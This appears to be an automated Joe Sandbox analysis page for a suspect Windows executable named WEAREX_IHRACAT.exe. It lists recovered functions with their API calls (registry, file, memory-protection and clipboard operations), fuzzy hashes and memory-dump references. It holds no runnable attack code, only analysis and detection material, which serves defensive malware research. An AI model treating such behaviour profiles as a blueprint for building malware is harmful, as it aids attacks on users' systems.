API ID: AllocErrorLastVirtual
String ID:
API String ID: 497505419-0
Opcode ID: 25ba90756ec787877d4bf69bcc9f708461c4247993a7c98eb6ee1d719eb9b926
Instruction ID: 1e4ae0ab9f7d80da0c6c18ef4be67b5a8e29914e0a0cef2da75b429278759b76
Opcode Fuzzy Hash: 25ba90756ec787877d4bf69bcc9f708461c4247993a7c98eb6ee1d719eb9b926
Instruction Fuzzy Hash: C651A4BA805214DFFB10EF64DCC2B5937A4EB443D4F22842AEA04D722DCF34A994CB95

Function 004023DE Relevance: 3.1, APIs: 2, Instructions: 56registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00402C42: RegOpenKeyExW.KERNELBASE(00000000,0000016D,00000000,00000022,00000000,?,?), ref: 00402C6A

RegQueryValueExW.ADVAPI32(00000000,00000000,?,00000800,?,?,?,?,00000033), ref: 0040240F
RegCloseKey.KERNELBASE(?,?,?,C:\Users\user\AppData\Local\Temp\nseB6DC.tmp,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004024AA

Memory Dump Source

Source File: 00000000.00000002.2454331246.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2454302020.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454387384.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454635066.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_WEAREX_IHRACAT.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID:
API String ID: 3677997916-0
Opcode ID: a3f576b14e9880af47cd5831c052fde71057405287977fe3c049f32c7035e6ad
Instruction ID: 6c75ae994a47700371a60e183d9c6493363f31bd6906e7075ff81e32be465fed
Opcode Fuzzy Hash: a3f576b14e9880af47cd5831c052fde71057405287977fe3c049f32c7035e6ad
Instruction Fuzzy Hash: 6E11A071914205EEDB14CFA1DA585AFB7B4EF04358F60843FE042B72D0D6B85A41DB2A

Function 00401389 Relevance: 3.0, APIs: 2, Instructions: 43windowCOMMON

Download Yara Rule

APIs

MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013E4
SendMessageW.USER32(00000402,00000402,00000000), ref: 004013F4

Memory Dump Source

Source File: 00000000.00000002.2454331246.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2454302020.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454387384.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454635066.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_WEAREX_IHRACAT.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: c61a7965c9618faeb417bc3a597272482dc455235e96daa415df5349b26d071e
Instruction ID: f7aa54b913f5ca68b4de92db4f2492a915771a0f44b2d9fd206d2c7cbab0d3a4
Opcode Fuzzy Hash: c61a7965c9618faeb417bc3a597272482dc455235e96daa415df5349b26d071e
Instruction Fuzzy Hash: B501F431724210ABE7295B789C05B6A3698E720314F10853FF911F72F1DA78DC138B4D

Function 004022D3 Relevance: 3.0, APIs: 2, Instructions: 40registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00402C42: RegOpenKeyExW.KERNELBASE(00000000,0000016D,00000000,00000022,00000000,?,?), ref: 00402C6A

RegDeleteValueW.ADVAPI32(00000000,00000000,00000033), ref: 004022F2
RegCloseKey.ADVAPI32(00000000), ref: 004022FB

Memory Dump Source

Source File: 00000000.00000002.2454331246.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2454302020.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454387384.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454635066.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_WEAREX_IHRACAT.jbxd

Similarity

API ID: CloseDeleteOpenValue
String ID:
API String ID: 849931509-0
Opcode ID: 8efb8f1ccdf8de01b94487a7fdd09090c83cb191401bf8795a383c5026381edf
Instruction ID: 6cfe575b1e931931ae6cf9a5ddb5ae5b21c85a020fc8f89310b59cc06b76a7bd
Opcode Fuzzy Hash: 8efb8f1ccdf8de01b94487a7fdd09090c83cb191401bf8795a383c5026381edf
Instruction Fuzzy Hash: E4F0AF72A04210ABEB01AFA18A8EAAE73689B14314F60043BF501B71C0C9BC5D02862A

Function 00401DC7 Relevance: 3.0, APIs: 2, Instructions: 21COMMON

Download Yara Rule

APIs

ShowWindow.USER32(00000000,00000000,00000001), ref: 00401DDD
EnableWindow.USER32(00000000,00000000), ref: 00401DE8

Memory Dump Source

Source File: 00000000.00000002.2454331246.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2454302020.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454387384.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454635066.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_WEAREX_IHRACAT.jbxd

Similarity

API ID: Window$EnableShow
String ID:
API String ID: 1136574915-0
Opcode ID: b643271b868b9a40f851d1ef19f11c0424dbe1118e1d4d70f38c684e3c8424a9
Instruction ID: 0a70c1ef7b0b049098d210b4544fd1cb3982b30fa54b0c42b808752cdcd1ba25
Opcode Fuzzy Hash: b643271b868b9a40f851d1ef19f11c0424dbe1118e1d4d70f38c684e3c8424a9
Instruction Fuzzy Hash: 15E08CB2B04100DBD710AFA5AA8899D3378AB90369B60087BF502F10D1C6B86C008A7E

Function 00405B54 Relevance: 3.0, APIs: 2, Instructions: 16fileCOMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(00000003,00402DFD,C:\Users\user\Desktop\WEAREX_IHRACAT.exe,80000000,00000003), ref: 00405B58
CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 00405B7A

Memory Dump Source

Source File: 00000000.00000002.2454331246.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2454302020.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454387384.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454635066.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_WEAREX_IHRACAT.jbxd

Similarity

API ID: File$AttributesCreate
String ID:
API String ID: 415043291-0
Opcode ID: 29e75e61bcb11788d424f4f71b5fd4206a8d95c56bb837550d9b6456a4565c05
Instruction ID: 50e17d5b3030c5d5ce0b1439250f6e41608f831a0cbc2ce1bc41554210f96241
Opcode Fuzzy Hash: 29e75e61bcb11788d424f4f71b5fd4206a8d95c56bb837550d9b6456a4565c05
Instruction Fuzzy Hash: 48D09E71658201EFFF098F20DE16F2EBBA2EB84B00F10562CB656940E0D6715815DB16

Function 004026F7 Relevance: 1.5, APIs: 1, Instructions: 26COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000,?,00000000,00000002,?,?), ref: 00402711

Part of subcall function 00405E2F: wsprintfW.USER32 ref: 00405E3C

Memory Dump Source

Source File: 00000000.00000002.2454331246.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2454302020.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454387384.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454635066.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_WEAREX_IHRACAT.jbxd

Similarity

API ID: FilePointerwsprintf
String ID:
API String ID: 327478801-0
Opcode ID: 98ccbb7068feabc3c0ae90a56470a6d5818c3af9d2cd9401b954f1a0f04dcc0c
Instruction ID: e22c1b7e3cb1808aafcc1ab2efb5fc6ea69776b3c427c7ac8c77fd4a8c9c6d31
Opcode Fuzzy Hash: 98ccbb7068feabc3c0ae90a56470a6d5818c3af9d2cd9401b954f1a0f04dcc0c
Instruction Fuzzy Hash: D8E01AB2B14114AADB01AFA5AD4ACAEB678EB05319F60083BF101B00D1C67959019A7E

Function 00402251 Relevance: 1.5, APIs: 1, Instructions: 25COMMON

Download Yara Rule

APIs

WritePrivateProfileStringW.KERNEL32(00000000,00000000,?,00000000), ref: 00402288

Memory Dump Source

Source File: 00000000.00000002.2454331246.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2454302020.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454387384.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454635066.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_WEAREX_IHRACAT.jbxd

Similarity

API ID: PrivateProfileStringWrite
String ID:
API String ID: 390214022-0
Opcode ID: ff37467d196542fb058f015d684c25ad389eeca81ff6bef522b3f91f96979ab6
Instruction ID: fec69ff260b0ac9ecd577f12e686b41ce403e552977328a8d437569390afa8be
Opcode Fuzzy Hash: ff37467d196542fb058f015d684c25ad389eeca81ff6bef522b3f91f96979ab6
Instruction Fuzzy Hash: 22E086329041246ADB103EF20E8DD7F32785B45714B54023FB511BA2C2D5FC1D42476E

Function 00402C42 Relevance: 1.5, APIs: 1, Instructions: 22registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNELBASE(00000000,0000016D,00000000,00000022,00000000,?,?), ref: 00402C6A

Memory Dump Source

Source File: 00000000.00000002.2454331246.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2454302020.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454387384.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454635066.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_WEAREX_IHRACAT.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: 4e0e47c2d07e12dc62bd4475595d204c43dc26f216d837d31c208bac29f0ca72
Instruction ID: e3df8b11752b843856ad965a2913e8001498b25c252565f1a48e325e263545e5
Opcode Fuzzy Hash: 4e0e47c2d07e12dc62bd4475595d204c43dc26f216d837d31c208bac29f0ca72
Instruction Fuzzy Hash: 88E04F76280108BADB00DFA4ED46E9577ECEB14701F004425B608D6091C674E5008768

Function 00405BD7 Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(00409230,00000000,00000000,00000000,00000000,00413E78,0040BE78,0040330A,00409230,00409230,004031FC,00413E78,00004000,?,00000000,?), ref: 00405BEB

Memory Dump Source

Source File: 00000000.00000002.2454331246.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2454302020.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454387384.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454635066.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_WEAREX_IHRACAT.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 706c1f52c55adc451273f1d2a5d46862a6587a7fe095f8bbabcbc32b8b015297
Instruction ID: bc424be8b840dd139efea3d7e203f87911aff5df88b68b997cf3f66dc638529d
Opcode Fuzzy Hash: 706c1f52c55adc451273f1d2a5d46862a6587a7fe095f8bbabcbc32b8b015297
Instruction Fuzzy Hash: 25E0EC3261425AABDF50AEA59C04EEB7B6CFB05360F044432F915E7190D631F921ABA9

Function 10002796 Relevance: 1.5, APIs: 1, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(1000405C,00000004,00000040,1000404C), ref: 100027B4

Memory Dump Source

Source File: 00000000.00000002.2459321793.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2459293214.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2459349894.0000000010003000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2459378881.0000000010005000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_WEAREX_IHRACAT.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 872da592a6d7a810a82f92163ecc1a118f8c9402d7722bf40bb7f7edf15a1654
Instruction ID: 4a9ded8e7257bdb173b40b31e6f72bab7f1256b0bf9ca600b2aeebe95f436f9e
Opcode Fuzzy Hash: 872da592a6d7a810a82f92163ecc1a118f8c9402d7722bf40bb7f7edf15a1654
Instruction Fuzzy Hash: CFF09BF19097A0DEF350DF688C847063BE4E3983C4B03852AE3A8E6268EB344048CF19

Function 0040159B Relevance: 1.5, APIs: 1, Instructions: 18COMMON

Download Yara Rule

APIs

SetFileAttributesW.KERNELBASE(00000000,?,000000F0), ref: 004015A6

Memory Dump Source

Source File: 00000000.00000002.2454331246.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2454302020.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454387384.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454635066.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_WEAREX_IHRACAT.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: b215341e9a48861ce1ae71868c0b38dd620c6d649e98988d9f5b4c3be07a7ee8
Instruction ID: 9dcfef7e452db0a7b9eae0ecc372c740654949990ed8f849d8faaf285a661dbe
Opcode Fuzzy Hash: b215341e9a48861ce1ae71868c0b38dd620c6d649e98988d9f5b4c3be07a7ee8
Instruction Fuzzy Hash: 8BD012B2708100D7DB10DFA59A0899D77749B15325F700977E101F21D0D2B895519A2A

Function 0040330D Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000,00000000,00000000,00402FE5,?), ref: 0040331B

Memory Dump Source

Source File: 00000000.00000002.2454331246.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2454302020.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454387384.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454635066.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_WEAREX_IHRACAT.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 3f2450370ff6ec370cb83e2696936d8051f71d6c0ea90f8f087f694b7f33879c
Instruction ID: 9708a756cc2c9ae94551e8e9c592081b607f980c3267f7876f2ac268d6c84cd7
Opcode Fuzzy Hash: 3f2450370ff6ec370cb83e2696936d8051f71d6c0ea90f8f087f694b7f33879c
Instruction Fuzzy Hash: B8B01231584200BFDA214F00DE05F057B21A790700F10C030B304381F082712420EB5D

Function 004014D7 Relevance: 1.3, APIs: 1, Instructions: 17sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00000000), ref: 004014E6

Memory Dump Source

Source File: 00000000.00000002.2454331246.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2454302020.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454387384.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454635066.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_WEAREX_IHRACAT.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 4ce028c416631f4879f61a6c47eaa424c852bb073f15e560c5dd11f99f423e06
Instruction ID: 218267b357b67079b54de8dffa8c027c75f66e7c1ef01c1e874d3fe206bc0dcd
Opcode Fuzzy Hash: 4ce028c416631f4879f61a6c47eaa424c852bb073f15e560c5dd11f99f423e06
Instruction Fuzzy Hash: A3D0C9B7B181009BE750EFB9AE8985B73A8E7513297604C73D942F20A1D578D8028A79

Function 1000121B Relevance: 1.3, APIs: 1, Instructions: 6memoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNELBASE(00000040,?,10001259,?,?,10001534,?,10001020,10001019,00000001), ref: 10001225

Memory Dump Source

Source File: 00000000.00000002.2459321793.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2459293214.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2459349894.0000000010003000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2459378881.0000000010005000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_WEAREX_IHRACAT.jbxd

Similarity

API ID: AllocGlobal
String ID:
API String ID: 3761449716-0
Opcode ID: 9c514497dbeefca74e47a404b0d43d99d31e609484f565d326becb97793310f2
Instruction ID: 8a0ecea123cfc10dc9c303f5c75fb6a011d4279a03f0c54a853e6fb6a4ccb70c
Opcode Fuzzy Hash: 9c514497dbeefca74e47a404b0d43d99d31e609484f565d326becb97793310f2
Instruction Fuzzy Hash: E3B012B0A00010DFFE00CB64CC8AF363358D740340F018000F701D0158C53088108638

Non-executed Functions

Function 004052D1 Relevance: 65.0, APIs: 36, Strings: 1, Instructions: 282windowclipboardmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000403), ref: 00405330
GetDlgItem.USER32(?,000003EE), ref: 0040533F
GetClientRect.USER32(?,?), ref: 0040537C
GetSystemMetrics.USER32(00000015), ref: 00405384
SendMessageW.USER32(?,00001061,00000000,00000002), ref: 004053A5
SendMessageW.USER32(?,00001036,00004000,00004000), ref: 004053B6
SendMessageW.USER32(?,00001001,00000000,00000110), ref: 004053C9
SendMessageW.USER32(?,00001026,00000000,00000110), ref: 004053D7
SendMessageW.USER32(?,00001024,00000000,?), ref: 004053EA
ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 0040540C
ShowWindow.USER32(?,00000008), ref: 00405420
GetDlgItem.USER32(?,000003EC), ref: 00405441
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 00405451
SendMessageW.USER32(00000000,00000409,00000000,?), ref: 0040546A
SendMessageW.USER32(00000000,00002001,00000000,00000110), ref: 00405476
GetDlgItem.USER32(?,000003F8), ref: 0040534E

Part of subcall function 00404162: SendMessageW.USER32(00000028,?,00000001,00403F8E), ref: 00404170

GetDlgItem.USER32(?,000003EC), ref: 00405493
CreateThread.KERNEL32(00000000,00000000,Function_00005265,00000000), ref: 004054A1
CloseHandle.KERNEL32(00000000), ref: 004054A8
ShowWindow.USER32(00000000), ref: 004054CC
ShowWindow.USER32(?,00000008), ref: 004054D1
ShowWindow.USER32(00000008), ref: 0040551B
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 0040554F
CreatePopupMenu.USER32 ref: 00405560
AppendMenuW.USER32(00000000,00000000,00000001,00000000), ref: 00405574
GetWindowRect.USER32(?,?), ref: 00405594
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 004055AD
SendMessageW.USER32(?,00001073,00000000,?), ref: 004055E5
OpenClipboard.USER32(00000000), ref: 004055F5
EmptyClipboard.USER32 ref: 004055FB
GlobalAlloc.KERNEL32(00000042,00000000), ref: 00405607
GlobalLock.KERNEL32(00000000), ref: 00405611
SendMessageW.USER32(?,00001073,00000000,?), ref: 00405625
GlobalUnlock.KERNEL32(00000000), ref: 00405645
SetClipboardData.USER32(0000000D,00000000), ref: 00405650
CloseClipboard.USER32 ref: 00405656

Strings

{, xrefs: 00405539

Memory Dump Source

Source File: 00000000.00000002.2454331246.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2454302020.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
